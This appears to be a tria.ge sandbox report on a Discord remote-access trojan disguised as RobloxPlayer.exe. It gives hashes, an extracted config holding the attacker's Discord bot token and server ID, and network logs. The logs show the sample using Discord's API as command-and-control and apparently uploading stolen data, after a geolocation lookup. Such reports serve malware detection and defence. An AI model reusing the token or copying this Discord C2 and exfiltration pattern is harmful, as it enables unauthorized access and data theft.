Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

10

RobloxPlayer.exe

windows7-x64

10

RobloxPlayer.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    15s
  • max time network
    17s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/05/2024, 02:19 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    RobloxPlayer.exe

  • Size

    78KB

  • MD5

    8f3d0d4044ff8cc1d847687568c91e14

  • SHA1

    fd9049e0e5c074603b78a2aea228b75e4ce6c099

  • SHA256

    1c7ffa12df8fc6b0617ddd3e7bf89582154156c803ca2b2df7a6073d43e13dc0

  • SHA512

    afd8aa0948e588de2bb7d44687afccd5da52e613a06a26bbec862945a3cd1a80423b2e1929256bce23e92bac5b09f27e436c1223583d4507c6782da3d46760e4

  • SSDEEP

    1536:52WjO8XeEXFh5P7v88wbjNrfxCXhRoKV6+V+cPIC:5Zv5PDwbjNrmAE+QIC

Score
10/10
discordratpersistenceratrootkitstealer

Malware Config

Extracted

Family

discordrat

Attributes
  • discord_token

    MTIxNTQyMjc0OTk4ODg4NDU3Mg.G8QiY3.e2k047pCmhPxBH-tdaOfxVTB1BY3dSfZIT_sXY

  • server_id

    1201970766531530822

Signatures

  • Discord RAT

    A RAT written in C# using Discord as a C2.

    stealerrootkitratpersistencediscordrat
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\RobloxPlayer.exe
    "C:\Users\Admin\AppData\Local\Temp\RobloxPlayer.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:3364

Network

  • flag-us
    DNS
    gateway.discord.gg
    RobloxPlayer.exe
    Remote address:
    8.8.8.8:53
    Request
    gateway.discord.gg
    IN A
    Response
    gateway.discord.gg
    IN A
    162.159.135.234
    gateway.discord.gg
    IN A
    162.159.133.234
    gateway.discord.gg
    IN A
    162.159.136.234
    gateway.discord.gg
    IN A
    162.159.134.234
    gateway.discord.gg
    IN A
    162.159.130.234
  • flag-us
    GET
    https://gateway.discord.gg/?v=9&encording=json
    RobloxPlayer.exe
    Remote address:
    162.159.135.234:443
    Request
    GET /?v=9&encording=json HTTP/1.1
    Connection: Upgrade,Keep-Alive
    Upgrade: websocket
    Sec-WebSocket-Key: p5+FQ+8AwnZbx6+cKbuG2w==
    Sec-WebSocket-Version: 13
    Host: gateway.discord.gg
    Response
    HTTP/1.1 101 Switching Protocols
    Date: Sun, 26 May 2024 02:19:38 GMT
    Connection: upgrade
    sec-websocket-accept: DsUH/Fso2VKlnUBziYZU6GaiJS4=
    upgrade: websocket
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dimRracolFbeQD8CJTQmZYYX2G6pe0Z%2FVtJm9Foy389LuzT7o9rW2%2FnNYE75wCoPi%2Bfrv89bkNVh7XyiMAy6so%2F%2FFOayjfLwJi5wJgzBqOM9LOeQSr1cjYJpCpbwRxnLzcLD%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
    X-Content-Type-Options: nosniff
    Server: cloudflare
    CF-RAY: 889a480f9f9663c3-LHR
  • flag-us
    DNS
    8.8.8.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.8.8.8.in-addr.arpa
    IN PTR
    Response
    8.8.8.8.in-addr.arpa
    IN PTR
    dnsgoogle
  • flag-us
    DNS
    discord.com
    RobloxPlayer.exe
    Remote address:
    8.8.8.8:53
    Request
    discord.com
    IN A
    Response
    discord.com
    IN A
    162.159.137.232
    discord.com
    IN A
    162.159.136.232
    discord.com
    IN A
    162.159.135.232
    discord.com
    IN A
    162.159.128.233
    discord.com
    IN A
    162.159.138.232
  • flag-us
    POST
    https://discord.com/api/v9/guilds/1201970766531530822/channels
    RobloxPlayer.exe
    Remote address:
    162.159.137.232:443
    Request
    POST /api/v9/guilds/1201970766531530822/channels HTTP/1.1
    authorization: Bot MTIxNTQyMjc0OTk4ODg4NDU3Mg.G8QiY3.e2k047pCmhPxBH-tdaOfxVTB1BY3dSfZIT_sXY
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 29
    Expect: 100-continue
    Connection: Keep-Alive
    Response
    HTTP/1.1 201 Created
    Date: Sun, 26 May 2024 02:19:40 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=67f432e61b0611ef849a76e3691ccf6b; Expires=Fri, 25-May-2029 02:19:39 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: be56019ae011689ff5baf218062aacf5
    x-ratelimit-limit: 2000
    x-ratelimit-remaining: 1982
    x-ratelimit-reset: 1716772589.836
    x-ratelimit-reset-after: 82609.968
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hexn6UgDhUpxj20e%2F8xCAJP%2BskbBEw6ql2VMC%2FDPMNm0U1f6V2RuF85Fp8vvMP%2B6%2Bmnv%2FcofZAsSK5N87qfDQImH9RFY4daJuE7O3IPQlkw7TFoXV5m029i903qL"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=67f432e61b0611ef849a76e3691ccf6b730299af6537e00dd47d50e19a83fde32230a714d503e7a74b49d7c50da5e1d0; Expires=Fri, 25-May-2029 02:19:39 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=0bd47c13559c8661e2b53ddd91417a181e0f0a4d-1716689980; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=3jJQquPc2eYW91sBElVkAep5G6lIplYsdbils77GkyQ-1716689980003-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 889a481599ac642d-LHR
  • flag-us
    DNS
    234.135.159.162.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    234.135.159.162.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    240.221.184.93.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    240.221.184.93.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    217.106.137.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    217.106.137.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    232.137.159.162.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    232.137.159.162.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    g.bing.com
    Remote address:
    8.8.8.8:53
    Request
    g.bing.com
    IN A
    Response
    g.bing.com
    IN CNAME
    g-bing-com.dual-a-0034.a-msedge.net
    g-bing-com.dual-a-0034.a-msedge.net
    IN CNAME
    dual-a-0034.a-msedge.net
    dual-a-0034.a-msedge.net
    IN A
    204.79.197.237
    dual-a-0034.a-msedge.net
    IN A
    13.107.21.237
  • flag-us
    DNS
    geolocation-db.com
    RobloxPlayer.exe
    Remote address:
    8.8.8.8:53
    Request
    geolocation-db.com
    IN A
    Response
    geolocation-db.com
    IN A
    159.89.102.253
  • flag-us
    GET
    https://g.bing.com/neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8CBUdLNHYYbfm7P0Y7pKKWDVUCUw6zrTpNAwTxYHD_w6Rh8vOJDDB00I-Pn7yQFPDK-x7PCRjJ37AZYawQ33dloQQbx2CwgArhJnI5i0kDIQiw2WDbYqNFLaMYcr3On640HqJO4oIYPR8RW0KQpQDM3THUca_Tp3xzbNyZ-nIZ1EUNAxK%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZmNvbGxlZ2Utc3R1ZGVudC1wcmljaW5nJTNmb2NpZCUzZGNtbWZ1NndpMTY0%26rlid%3D66fe90a503a212b0da00f69e58f415a3&TIME=20240508T110110Z&CID=531098720&EID=531098720&tids=15000&adUnitId=11730597&localId=w:D54583D0-B3DA-17FF-A437-0685003AFE48&deviceId=6966565253439182&muid=D54583D0B3DA17FFA4370685003AFE48
    Remote address:
    204.79.197.237:443
    Request
    GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8CBUdLNHYYbfm7P0Y7pKKWDVUCUw6zrTpNAwTxYHD_w6Rh8vOJDDB00I-Pn7yQFPDK-x7PCRjJ37AZYawQ33dloQQbx2CwgArhJnI5i0kDIQiw2WDbYqNFLaMYcr3On640HqJO4oIYPR8RW0KQpQDM3THUca_Tp3xzbNyZ-nIZ1EUNAxK%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZmNvbGxlZ2Utc3R1ZGVudC1wcmljaW5nJTNmb2NpZCUzZGNtbWZ1NndpMTY0%26rlid%3D66fe90a503a212b0da00f69e58f415a3&TIME=20240508T110110Z&CID=531098720&EID=531098720&tids=15000&adUnitId=11730597&localId=w:D54583D0-B3DA-17FF-A437-0685003AFE48&deviceId=6966565253439182&muid=D54583D0B3DA17FFA4370685003AFE48 HTTP/2.0
    host: g.bing.com
    accept-encoding: gzip, deflate
    user-agent: WindowsShellClient/9.0.40929.0 (Windows)
    Response
    HTTP/2.0 204
    cache-control: no-cache, must-revalidate
    pragma: no-cache
    expires: Fri, 01 Jan 1990 00:00:00 GMT
    set-cookie: MUID=258CE02BB92B6B121B96F4A0B8CB6AE4; domain=.bing.com; expires=Fri, 20-Jun-2025 02:19:40 GMT; path=/; SameSite=None; Secure; Priority=High;
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    access-control-allow-origin: *
    x-cache: CONFIG_NOCACHE
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: 9298E01416324D6CA2E4E5F4D43BF5A4 Ref B: LON04EDGE1212 Ref C: 2024-05-26T02:19:40Z
    date: Sun, 26 May 2024 02:19:40 GMT
  • flag-us
    GET
    https://g.bing.com/neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8CBUdLNHYYbfm7P0Y7pKKWDVUCUw6zrTpNAwTxYHD_w6Rh8vOJDDB00I-Pn7yQFPDK-x7PCRjJ37AZYawQ33dloQQbx2CwgArhJnI5i0kDIQiw2WDbYqNFLaMYcr3On640HqJO4oIYPR8RW0KQpQDM3THUca_Tp3xzbNyZ-nIZ1EUNAxK%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZmNvbGxlZ2Utc3R1ZGVudC1wcmljaW5nJTNmb2NpZCUzZGNtbWZ1NndpMTY0%26rlid%3D66fe90a503a212b0da00f69e58f415a3&TIME=20240508T110110Z&CID=531098720&EID=&tids=15000&adUnitId=11730597&localId=w:D54583D0-B3DA-17FF-A437-0685003AFE48&deviceId=6966565253439182&muid=D54583D0B3DA17FFA4370685003AFE48
    Remote address:
    204.79.197.237:443
    Request
    GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8CBUdLNHYYbfm7P0Y7pKKWDVUCUw6zrTpNAwTxYHD_w6Rh8vOJDDB00I-Pn7yQFPDK-x7PCRjJ37AZYawQ33dloQQbx2CwgArhJnI5i0kDIQiw2WDbYqNFLaMYcr3On640HqJO4oIYPR8RW0KQpQDM3THUca_Tp3xzbNyZ-nIZ1EUNAxK%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZmNvbGxlZ2Utc3R1ZGVudC1wcmljaW5nJTNmb2NpZCUzZGNtbWZ1NndpMTY0%26rlid%3D66fe90a503a212b0da00f69e58f415a3&TIME=20240508T110110Z&CID=531098720&EID=&tids=15000&adUnitId=11730597&localId=w:D54583D0-B3DA-17FF-A437-0685003AFE48&deviceId=6966565253439182&muid=D54583D0B3DA17FFA4370685003AFE48 HTTP/2.0
    host: g.bing.com
    accept-encoding: gzip, deflate
    user-agent: WindowsShellClient/9.0.40929.0 (Windows)
    cookie: MUID=258CE02BB92B6B121B96F4A0B8CB6AE4; _EDGE_S=SID=3357EA2DF8AE6A0F3DABFEA6F9A86B7E
    Response
    HTTP/2.0 204
    cache-control: no-cache, must-revalidate
    pragma: no-cache
    expires: Fri, 01 Jan 1990 00:00:00 GMT
    set-cookie: MSPTC=J6XBZxN25QW4dYoyFo8QLfTlkrBiQrR7s8YM1WqL9eE; domain=.bing.com; expires=Fri, 20-Jun-2025 02:19:40 GMT; path=/; Partitioned; secure; SameSite=None
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    access-control-allow-origin: *
    x-cache: CONFIG_NOCACHE
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: CE16E5C8920D4E7AAF2EC15BE97EA6BE Ref B: LON04EDGE1212 Ref C: 2024-05-26T02:19:40Z
    date: Sun, 26 May 2024 02:19:40 GMT
  • flag-de
    GET
    https://geolocation-db.com/json
    RobloxPlayer.exe
    Remote address:
    159.89.102.253:443
    Request
    GET /json HTTP/1.1
    Host: geolocation-db.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 301 Moved Permanently
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sun, 26 May 2024 02:19:40 GMT
    Content-Type: text/html
    Content-Length: 194
    Location: https://geolocation-db.com/json/
    Connection: keep-alive
  • flag-de
    GET
    https://geolocation-db.com/json/
    RobloxPlayer.exe
    Remote address:
    159.89.102.253:443
    Request
    GET /json/ HTTP/1.1
    Host: geolocation-db.com
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sun, 26 May 2024 02:19:40 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Access-Control-Allow-Origin: *
  • flag-us
    POST
    https://discord.com/api/v9/channels/1244112690385780797/messages
    RobloxPlayer.exe
    Remote address:
    162.159.137.232:443
    Request
    POST /api/v9/channels/1244112690385780797/messages HTTP/1.1
    authorization: Bot MTIxNTQyMjc0OTk4ODg4NDU3Mg.G8QiY3.e2k047pCmhPxBH-tdaOfxVTB1BY3dSfZIT_sXY
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 116
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Sun, 26 May 2024 02:19:40 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=6836f3c41b0611efa69d22c831840f2e; Expires=Fri, 25-May-2029 02:19:40 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 4
    x-ratelimit-reset: 1716689981.354
    x-ratelimit-reset-after: 1.000
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bt1BLgqV%2Fp2zZ4fyeA1RDpOYgSkX5geZ8VqCnbt0E1niZP%2BCS79AOWwoux8lJPY6vP7r%2Bpc39z2xHNQbqqyblVUFx3ZYQ7QMXNDPWI8a%2FbSuWOjbitXL%2F7MhqdRJ"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=6836f3c41b0611efa69d22c831840f2e8101105be32f3b2691864d62a5fe0c9c51255822cb1533b37a067f2466b9192c; Expires=Fri, 25-May-2029 02:19:40 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=0bd47c13559c8661e2b53ddd91417a181e0f0a4d-1716689980; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=PajlSdKiXpjBRskE0j9vIVTj851rD4.97LMzHmfwS7c-1716689980439-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 889a48189fae772f-LHR
  • flag-nl
    GET
    https://www.bing.com/aes/c.gif?RG=d9482cdfe46648bb808715da8e8ff266&med=10&pubId=251978541&tids=15000&type=mv&reqver=1.0&TIME=20240508T110110Z&adUnitId=11730597&localId=w:D54583D0-B3DA-17FF-A437-0685003AFE48&deviceId=6966565253439182
    Remote address:
    23.62.61.97:443
    Request
    GET /aes/c.gif?RG=d9482cdfe46648bb808715da8e8ff266&med=10&pubId=251978541&tids=15000&type=mv&reqver=1.0&TIME=20240508T110110Z&adUnitId=11730597&localId=w:D54583D0-B3DA-17FF-A437-0685003AFE48&deviceId=6966565253439182 HTTP/2.0
    host: www.bing.com
    accept-encoding: gzip, deflate
    user-agent: WindowsShellClient/9.0.40929.0 (Windows)
    cookie: MUID=258CE02BB92B6B121B96F4A0B8CB6AE4
    Response
    HTTP/2.0 200
    cache-control: private,no-store
    pragma: no-cache
    vary: Origin
    p3p: CP=BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: 09F3943AA94040C78D8CCA5D37ED03B7 Ref B: LON212050701017 Ref C: 2024-05-26T02:19:40Z
    content-length: 0
    date: Sun, 26 May 2024 02:19:40 GMT
    set-cookie: _EDGE_S=SID=3357EA2DF8AE6A0F3DABFEA6F9A86B7E; path=/; httponly; domain=bing.com
    set-cookie: MUIDB=258CE02BB92B6B121B96F4A0B8CB6AE4; path=/; httponly; expires=Fri, 20-Jun-2025 02:19:40 GMT
    alt-svc: h3=":443"; ma=93600
    x-cdn-traceid: 0.5d3d3e17.1716689980.de0b1f5
  • flag-us
    DNS
    4.159.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    4.159.190.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    237.197.79.204.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    237.197.79.204.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    253.102.89.159.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    253.102.89.159.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    97.61.62.23.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    97.61.62.23.in-addr.arpa
    IN PTR
    Response
    97.61.62.23.in-addr.arpa
    IN PTR
    a23-62-61-97deploystaticakamaitechnologiescom
  • flag-us
    DNS
    232.168.11.51.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    232.168.11.51.in-addr.arpa
    IN PTR
    Response
  • flag-us
    POST
    https://discord.com/api/v9/channels/1244112690385780797/messages
    RobloxPlayer.exe
    Remote address:
    162.159.137.232:443
    Request
    POST /api/v9/channels/1244112690385780797/messages HTTP/1.1
    authorization: Bot MTIxNTQyMjc0OTk4ODg4NDU3Mg.G8QiY3.e2k047pCmhPxBH-tdaOfxVTB1BY3dSfZIT_sXY
    Content-Type: multipart/form-data; boundary="c1e566df-a614-4c98-9401-d68a5b6a25d1"
    Host: discord.com
    Content-Length: 437206
    Expect: 100-continue
  • 162.159.135.234:443
    https://gateway.discord.gg/?v=9&encording=json
    tls, http
    RobloxPlayer.exe
    1.4kB
     15.3kB
     16
    21

    HTTP Request

    GET https://gateway.discord.gg/?v=9&encording=json

    HTTP Response

    101
  • 162.159.137.232:443
    https://discord.com/api/v9/guilds/1201970766531530822/channels
    tls, http
    RobloxPlayer.exe
    1.1kB
     5.2kB
     10
    11

    HTTP Request

    POST https://discord.com/api/v9/guilds/1201970766531530822/channels

    HTTP Response

    201
  • 204.79.197.237:443
    https://g.bing.com/neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8CBUdLNHYYbfm7P0Y7pKKWDVUCUw6zrTpNAwTxYHD_w6Rh8vOJDDB00I-Pn7yQFPDK-x7PCRjJ37AZYawQ33dloQQbx2CwgArhJnI5i0kDIQiw2WDbYqNFLaMYcr3On640HqJO4oIYPR8RW0KQpQDM3THUca_Tp3xzbNyZ-nIZ1EUNAxK%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZmNvbGxlZ2Utc3R1ZGVudC1wcmljaW5nJTNmb2NpZCUzZGNtbWZ1NndpMTY0%26rlid%3D66fe90a503a212b0da00f69e58f415a3&TIME=20240508T110110Z&CID=531098720&EID=&tids=15000&adUnitId=11730597&localId=w:D54583D0-B3DA-17FF-A437-0685003AFE48&deviceId=6966565253439182&muid=D54583D0B3DA17FFA4370685003AFE48
    tls, http2
    2.6kB
     9.0kB
     20
    17

    HTTP Request

    GET https://g.bing.com/neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8CBUdLNHYYbfm7P0Y7pKKWDVUCUw6zrTpNAwTxYHD_w6Rh8vOJDDB00I-Pn7yQFPDK-x7PCRjJ37AZYawQ33dloQQbx2CwgArhJnI5i0kDIQiw2WDbYqNFLaMYcr3On640HqJO4oIYPR8RW0KQpQDM3THUca_Tp3xzbNyZ-nIZ1EUNAxK%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZmNvbGxlZ2Utc3R1ZGVudC1wcmljaW5nJTNmb2NpZCUzZGNtbWZ1NndpMTY0%26rlid%3D66fe90a503a212b0da00f69e58f415a3&TIME=20240508T110110Z&CID=531098720&EID=531098720&tids=15000&adUnitId=11730597&localId=w:D54583D0-B3DA-17FF-A437-0685003AFE48&deviceId=6966565253439182&muid=D54583D0B3DA17FFA4370685003AFE48

    HTTP Response

    204

    HTTP Request

    GET https://g.bing.com/neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8CBUdLNHYYbfm7P0Y7pKKWDVUCUw6zrTpNAwTxYHD_w6Rh8vOJDDB00I-Pn7yQFPDK-x7PCRjJ37AZYawQ33dloQQbx2CwgArhJnI5i0kDIQiw2WDbYqNFLaMYcr3On640HqJO4oIYPR8RW0KQpQDM3THUca_Tp3xzbNyZ-nIZ1EUNAxK%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZmNvbGxlZ2Utc3R1ZGVudC1wcmljaW5nJTNmb2NpZCUzZGNtbWZ1NndpMTY0%26rlid%3D66fe90a503a212b0da00f69e58f415a3&TIME=20240508T110110Z&CID=531098720&EID=&tids=15000&adUnitId=11730597&localId=w:D54583D0-B3DA-17FF-A437-0685003AFE48&deviceId=6966565253439182&muid=D54583D0B3DA17FFA4370685003AFE48

    HTTP Response

    204
  • 159.89.102.253:443
    https://geolocation-db.com/json/
    tls, http
    RobloxPlayer.exe
    848 B
     4.5kB
     9
    10

    HTTP Request

    GET https://geolocation-db.com/json

    HTTP Response

    301

    HTTP Request

    GET https://geolocation-db.com/json/

    HTTP Response

    200
  • 162.159.137.232:443
    https://discord.com/api/v9/channels/1244112690385780797/messages
    tls, http
    RobloxPlayer.exe
    1.3kB
     3.0kB
     9
    11

    HTTP Request

    POST https://discord.com/api/v9/channels/1244112690385780797/messages

    HTTP Response

    200
  • 23.62.61.97:443
    https://www.bing.com/aes/c.gif?RG=d9482cdfe46648bb808715da8e8ff266&med=10&pubId=251978541&tids=15000&type=mv&reqver=1.0&TIME=20240508T110110Z&adUnitId=11730597&localId=w:D54583D0-B3DA-17FF-A437-0685003AFE48&deviceId=6966565253439182
    tls, http2
    1.4kB
     5.3kB
     16
    11

    HTTP Request

    GET https://www.bing.com/aes/c.gif?RG=d9482cdfe46648bb808715da8e8ff266&med=10&pubId=251978541&tids=15000&type=mv&reqver=1.0&TIME=20240508T110110Z&adUnitId=11730597&localId=w:D54583D0-B3DA-17FF-A437-0685003AFE48&deviceId=6966565253439182

    HTTP Response

    200
  • 162.159.137.232:443
    https://discord.com/api/v9/channels/1244112690385780797/messages
    tls, http
    RobloxPlayer.exe
    235.7kB
     1.8kB
     174
    41

    HTTP Request

    POST https://discord.com/api/v9/channels/1244112690385780797/messages
  • 8.8.8.8:53
    gateway.discord.gg
    dns
    RobloxPlayer.exe
    64 B
     144 B
     1
    1

    DNS Request

    gateway.discord.gg

    DNS Response

    162.159.135.234
    162.159.133.234
    162.159.136.234
    162.159.134.234
    162.159.130.234

  • 8.8.8.8:53
    8.8.8.8.in-addr.arpa
    dns
    66 B
     90 B
     1
    1

    DNS Request

    8.8.8.8.in-addr.arpa

  • 8.8.8.8:53
    discord.com
    dns
    RobloxPlayer.exe
    57 B
     137 B
     1
    1

    DNS Request

    discord.com

    DNS Response

    162.159.137.232
    162.159.136.232
    162.159.135.232
    162.159.128.233
    162.159.138.232

  • 8.8.8.8:53
    234.135.159.162.in-addr.arpa
    dns
    74 B
     136 B
     1
    1

    DNS Request

    234.135.159.162.in-addr.arpa

  • 8.8.8.8:53
    240.221.184.93.in-addr.arpa
    dns
    73 B
     144 B
     1
    1

    DNS Request

    240.221.184.93.in-addr.arpa

  • 8.8.8.8:53
    217.106.137.52.in-addr.arpa
    dns
    73 B
     147 B
     1
    1

    DNS Request

    217.106.137.52.in-addr.arpa

  • 8.8.8.8:53
    232.137.159.162.in-addr.arpa
    dns
    74 B
     136 B
     1
    1

    DNS Request

    232.137.159.162.in-addr.arpa

  • 8.8.8.8:53
    g.bing.com
    dns
    56 B
     151 B
     1
    1

    DNS Request

    g.bing.com

    DNS Response

    204.79.197.237
    13.107.21.237

  • 8.8.8.8:53
    geolocation-db.com
    dns
    RobloxPlayer.exe
    64 B
     80 B
     1
    1

    DNS Request

    geolocation-db.com

    DNS Response

    159.89.102.253

  • 8.8.8.8:53
    4.159.190.20.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    4.159.190.20.in-addr.arpa

  • 8.8.8.8:53
    237.197.79.204.in-addr.arpa
    dns
    73 B
     143 B
     1
    1

    DNS Request

    237.197.79.204.in-addr.arpa

  • 8.8.8.8:53
    253.102.89.159.in-addr.arpa
    dns
    73 B
     140 B
     1
    1

    DNS Request

    253.102.89.159.in-addr.arpa

  • 8.8.8.8:53
    97.61.62.23.in-addr.arpa
    dns
    70 B
     133 B
     1
    1

    DNS Request

    97.61.62.23.in-addr.arpa

  • 8.8.8.8:53
    232.168.11.51.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    232.168.11.51.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/3364-0-0x0000024FC1AE0000-0x0000024FC1AF8000-memory.dmp

    Filesize

    96KB

    Download

  • memory/3364-1-0x00007FFA85653000-0x00007FFA85655000-memory.dmp

    Filesize

    8KB

    Download

  • memory/3364-2-0x0000024FDC180000-0x0000024FDC342000-memory.dmp

    Filesize

    1.8MB

    Download

  • memory/3364-3-0x00007FFA85650000-0x00007FFA86111000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3364-4-0x0000024FDC980000-0x0000024FDCEA8000-memory.dmp

    Filesize

    5.2MB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.